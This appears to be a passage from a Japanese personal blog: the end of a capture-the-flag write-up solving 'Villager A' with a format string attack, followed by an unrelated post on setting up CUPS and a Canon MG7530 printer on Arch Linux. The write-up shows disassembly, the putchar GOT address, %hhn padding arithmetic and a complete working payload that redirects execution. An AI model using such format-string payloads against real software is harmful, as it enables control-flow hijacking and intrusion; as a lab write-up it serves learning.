 804861a:   c7 04 24 bb 87 04 08    movl   $0x80487bb,(%esp)
 8048621:   e8 9e fe ff ff          call   80484c4 <puts@plt>
 8048626:   a1 04 9a 04 08          mov    0x8049a04,%eax
 804862b:   89 44 24 08             mov    %eax,0x8(%esp)
 804862f:   c7 44 24 04 00 04 00    movl   $0x400,0x4(%esp)
 8048636:   00 
 8048637:   8d 44 24 18             lea    0x18(%esp),%eax
 804863b:   89 04 24                mov    %eax,(%esp)
 804863e:   e8 41 fe ff ff          call   8048484 <fgets@plt>
 8048643:   85 c0                   test   %eax,%eax
 8048645:   0f 94 c0                sete   %al
 8048648:   84 c0                   test   %al,%al
 804864a:   74 0a                   je     8048656 <main+0xa2>
 804864c:   b8 00 00 00 00          mov    $0x0,%eax
 8048651:   e9 86 00 00 00          jmp    80486dc <main+0x128>
 8048656:   c7 44 24 04 d1 87 04    movl   $0x80487d1,0x4(%esp)
 804865d:   08 
 804865e:   8d 44 24 18             lea    0x18(%esp),%eax
 8048662:   89 04 24                mov    %eax,(%esp)
 8048665:   e8 7a fe ff ff          call   80484e4 <strcmp@plt>
 804866a:   85 c0                   test   %eax,%eax
 804866c:   75 13                   jne    8048681 <main+0xcd>
 804866e:   c7 04 24 d5 87 04 08    movl   $0x80487d5,(%esp)
 8048675:   e8 4a fe ff ff          call   80484c4 <puts@plt>
 804867a:   b8 00 00 00 00          mov    $0x0,%eax
 804867f:   eb 5b                   jmp    80486dc <main+0x128>
 8048681:   8b 84 24 18 04 00 00    mov    0x418(%esp),%eax ;<main+0xcd>
 8048688:   85 c0                   test   %eax,%eax
 804868a:   0f 95 c0                setne  %al
 804868d:   84 c0                   test   %al,%al
 804868f:   75 89                   jne    804861a <main+0x66>
 8048691:   c7 44 24 04 e6 87 04    movl   $0x80487e6,0x4(%esp)
 8048698:   08 
 8048699:   c7 04 24 e8 87 04 08    movl   $0x80487e8,(%esp)
 80486a0:   e8 ff fd ff ff          call   80484a4 <fopen@plt>
 80486a5:   89 84 24 1c 04 00 00    mov    %eax,0x41c(%esp)
 80486ac:   8b 84 24 1c 04 00 00    mov    0x41c(%esp),%eax
 80486b3:   89 44 24 08             mov    %eax,0x8(%esp)
 80486b7:   c7 44 24 04 00 04 00    movl   $0x400,0x4(%esp)
 80486be:   00 
 80486bf:   8d 44 24 18             lea    0x18(%esp),%eax
 80486c3:   89 04 24                mov    %eax,(%esp)
 80486c6:   e8 b9 fd ff ff          call   8048484 <fgets@plt>
 80486cb:   8d 44 24 18             lea    0x18(%esp),%eax
 80486cf:   89 04 24                mov    %eax,(%esp)
 80486d2:   e8 dd fd ff ff          call   80484b4 <printf@plt>
 80486d7:   b8 00 00 00 00          mov    $0x0,%eax
 80486dc:   c9                      leave  
 80486dd:   c3                      ret    
 80486de:   90                      nop
 80486df:   90                      nop

0x08048691あたりにジャンプすれば良さそうですね。

そして他の解法記事に習って、putchar()のGOT領域を上書きをしたいのでどこのアドレスを書きえればいいか調べてみます。 main関数内で、呼び出されている<putchar@plt>をディスアセンブルをしたものが以下です。

08048474 <putchar@plt>:
 8048474:   ff 25 e0 99 04 08       jmp    *0x80499e0
 804847a:   68 08 00 00 00          push   $0x8
 804847f:   e9 d0 ff ff ff          jmp    8048454 <_init+0x30>

ということで、0x080499e0を書き換えてしまえば良さそうです。

つまり、0x080499e0に0x08048691を埋め込めばいいのです。

ということで、まずは\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08という文字列を流し込んでみます。

|....................|
|0x00000400| ←arg1
|0x004108c0| ←arg2
|0x00000008| ←arg3
|0x00000014| ←arg4
|0x00ed3fc4 | ←arg5
|0x080499e0| ←arg6(printf()へ入力した文字列はここから入る)
|0x080499e1| ←arg7
|0x080499e2| ←arg8
|0x080499e3| ←arg9 |....................|

すると、上のようになりますね。ということで、あとは適切なバイト数を出力した後に%hhnでarg6, arg7, arg8, arg9を指定してやればそのアドレスに書き込まれることが分かります。

適切なバイト数の出力の仕方ですが、%x等の出力子に数字をつけてやればいい感じにパディングできるのでそれを使います。

結局書き込みたい値と書き込み先アドレスは、以下のとおりです。

書き込み先アドレス 書き込みたい値
0x080499e0 0x91
0x080499e1 0x86
0x080499e2 0x04
0x080499e3 0x08

ここで一旦、以下のプログラムを見てください。

#include <stdio.h>

int main()
{
    char *hoge;
    printf("%256x%1$n\n", &hoge);
    printf("%hhx\n", hoge);
    return 0;
}

二個目のprintf()の出力はいくつになるでしょうか。正解は、0です。まあ、当然ですよね。実はこれが、先程のパディングに使えます。

例えば、出力したい数が0x10だとしましょう。しかし、すでに0x12バイト出力されているとします。このとき、0xffまで出力してしまってから、0x11を出力し%hhnを呼べば0x10を出力することが出来ます。

ではいよいよ本命のFSAの組み立てをしていきましょう。

ここまでで既に4byte * 4 = 16byte出力していますね。で、次に出力したいのは0x91 = 145です。素直に引き算しちゃいましょう。145 - 16 = 129

%129x%6$hhn

次に出力したいのは0x86 = 134ですね。オーバーしちゃいましたので、先程紹介したテクニックをつかって。256 - 145 + 134 = 245

%245x%7$hhn

あとはやるだけです。0x04 = 4。256 - 134 + 4 = 126

%126x%8$hhn

最後。0x08 = 8。8 - 4 = 4

%4x%9$hhn

これで完成。

\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129x%6$hhn%245x%7$hhn%126x%8$hhn%4x%9$hhn

やっとできたーー!!!このやりがい、たまらないですね。教えてくださったはっぴーのーとさん、本当にありがとうございました!

おわりに

雑多な文章で申し訳ありませんが、私がVillager Aを解いたときの心境などをそのまま書き込んだつもりです。 僕のようにVillager Aで苦しんでいる方のご参考になれば嬉しいです!

また、本文中に間違いや質問したいこと等があればお気軽にご連絡ください。

twitter.com

ArchLinuxでMG7530を使う

Linuxで、戸惑うことが多いのがプリンターの設定である。 CUPSというものを使えば、これを比較的簡単に行うことが出来るので共有したい。

CUPSのインストール

簡単だ。いつものようにpacmanでインストールすれば良い。

# pacman -S cups

Archwikiにもあるが、インストール後は以下のコマンドでorg.cups.cupsd.serviceを有効化・起動する必要がある。

# systemctl enable org.cups.cupsd
# systemctl start org.cups.cupsd

これでCUPSが使えるようになる。

MG7530ドライバーのインストール

メーカーにドライバーがあるが、これをダウンロードして展開してくれるAURパッケージがすでにあるのでありがたく使わせて頂こう。

$ yaourt -S cnijfilter2-mg7500

AURヘルパーに関しては色々なものがあるので、それらを使うか自分で落としてきてmakepkgするのも良いと思う。

プリンターの追加

CUPSの操作をしていくわけだが、詳細な設定をするわけでなければGUIがあると便利だ。CUPSにはWeb GUIフロントエンドがあるのでこれを使おう。以下のアドレスにアクセスすると良い。

http://localhost:631

アクセス出来ない場合は、cupsサービスが起動しているかもう一度確認してみよう。

上側のタブに「管理」というものがあるので、そこに遷移して「新しいプリンターの追加」をクリックする。 しばらくすると、MG7530らしきものが出てくるので、あとはGUIに従って設定していくだけだ。

出てこない場合は、プリンターと同じネットワークに接続されているかなどもう一度確認してみよう。

これで、MG7530が使えるようになる。